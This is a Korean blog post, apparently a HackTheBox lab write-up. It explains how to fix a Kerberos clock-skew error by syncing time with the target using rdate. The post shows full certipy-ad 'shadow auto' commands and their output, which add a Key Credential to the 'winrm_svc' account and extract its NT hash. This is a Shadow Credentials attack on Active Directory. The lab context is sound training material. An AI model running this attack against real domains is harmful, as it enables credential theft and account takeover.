Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 에러 해결법

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 에러 해결법

HackTheBox 에서 어떤 머신을 owning 하는 도중 Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 에러가 발생하여 이를 해결하는 방법에 대해 정리하여 기록하였다.

문제 상황

문제시 되는 Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 에러는 아래와 같이 certipy-ad 명령어를 실행하여 발생했다. 에러가 발생함에 따라 account 의 NT Hash 값을 얻는데 실패했다.

아래 입력된 유저, 도메인, 패스워드는 임의의 조작된 예시이다.

┌──(root㉿kali)-[/home/kali/Desktop/hackthebox/machine]
└─# certipy-ad shadow auto -u 'user@machine.htb' -p 'password'  -account 'account'  -dc-ip 'machine ip'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'c1b1e4ca-752f-3676-cac9-271cc2dab247'
[*] Adding Key Credential with device ID 'c1b1e4ca-752f-3676-cac9-271cc2dab247' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'c1b1e4ca-752f-3676-cac9-271cc2dab247' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@machine.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': None

해결법

자료를 수집한 결과, 이 에러는 내 PC 와 공격 대상 머신 간 시간 동기화가 되지 않아 발생하는 것으로 확인되었다.

이를 해결하기 위해 우선 root 유저로 접속했다.

┌──(kali㉿kali)-[~/Desktop/hackthebox/machine]
└─$ sudo passwd  
New password: 
Retype new password: 
passwd: password updated successfully
                                                                                                                                              
┌──(kali㉿kali)-[~/Desktop/hackthebox/machine]
└─$ su root    
Password: 
┌──(root㉿kali)-[/home/kali/Desktop/hackthebox/machine]
└─# 

관리자 권한으로 아래 명령어를 실행해 NTP 프로토콜을 통한 시간 동기화 기능을 일시적으로 비활성화한다.

┌──(root㉿kali)-[/home/kali/Desktop/hackthebox/machine]
└─# timedatectl set-ntp off

이후 rdate 명령어에 시간을 동기화할 대상 머신의 IP 를 지정한다. 만약 rdate 명령어가 시스템에 설치되어 있지 않다면 apt-get, 등의 패키지 관리자를 이용해 설치해야 한다.

┌──(root㉿kali)-[/home/kali/Desktop/hackthebox/machine]
└─# rdate -n {대상 머신 IP}
Fri May 30 17:11:01 EDT 2025

앞선 과정을 정상적으로 진행하면 시간 동기화되며 에러가 발생하지 않을 것이다. 다시 certipy-ad 명령어를 실행하면 대상 account 의 NT Hash 값을 제대로 추출해내는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/Desktop/hackthebox/machine]
└─# certipy-ad shadow auto -u 'user@machine.htb' -p 'password'  -account 'account'  -dc-ip 'machine ip'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '62f6b567-4d90-0b79-4a70-5c245d58b658'
[*] Adding Key Credential with device ID '62f6b567-4d90-0b79-4a70-5c245d58b658' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '62f6b567-4d90-0b79-4a70-5c245d58b658' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@machine.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': {추출된 Hash 값}